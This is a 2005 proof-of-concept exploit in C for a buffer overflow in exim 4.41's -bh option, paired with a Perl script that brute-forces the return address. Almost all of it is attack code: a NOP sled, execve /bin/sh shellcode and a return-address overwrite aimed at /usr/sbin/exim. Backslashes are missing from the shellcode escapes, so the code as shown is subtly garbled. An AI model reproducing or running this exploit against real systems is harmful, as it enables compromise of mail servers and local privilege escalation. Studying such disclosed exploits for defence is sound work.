/*
This proof-of-concept demonstrates the existence of the vulnerability
reported by iDEFENSE (iDEFENSE Security Advisory 01.14.05).
It has been tested against exim-4.41 under Debian GNU/Linux.
Note that setuid () is not included in the shellcode to avoid
script-kidding.
My RET is 0xbffffae4, but fb.pl can brute-force it for you.

-----------
Brute Force fb.pl:
-----------

#!/usr/bin/perl

$cnt = 0xbffffa10;

while (1) {
   $hex = sprintf ("0x%x", $cnt);
   $res = system ("./exploit $hex");
   printf "$hex : $resn";
   $cnt += 4;
}

---------
exploit.c:
---------
*/

#define NOP 0x90
#define TAMBUF 368
#define INIC_SH 20
#include <stdlib.h>

int main (int argc, char **argv) {

   static char shellcode[]=
   "xebx17x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89"
   "xf3x8dx4ex08x31xd2xcdx80xe8xe4xffxffxffx2fx62x69x6e"
   "x2fx73x68x58";

   char buffer [TAMBUF + 1];
   char cadena [TAMBUF + 5];
   int cont;
   unsigned long ret = strtoul (argv[1], NULL, 16);

   for (cont = 0; cont < TAMBUF / 4; cont++)
           *( (long *) buffer + cont) = ret;

   for (cont = 0; cont < strlen (shellcode); cont++)
           buffer [cont + INIC_SH] = shellcode [cont];

   for (cont = 0; cont < INIC_SH; cont++)
           buffer [cont] = NOP;

   buffer [TAMBUF] = 0;
   printf ("RET = 0x%xn", ret);
   strcpy (cadena, "::%A");
   strcat (cadena, buffer);
       execl ("/usr/sbin/exim", "./exim", "-bh", cadena, (char *) 0);
}

// www.Syue.com [2005-01-15]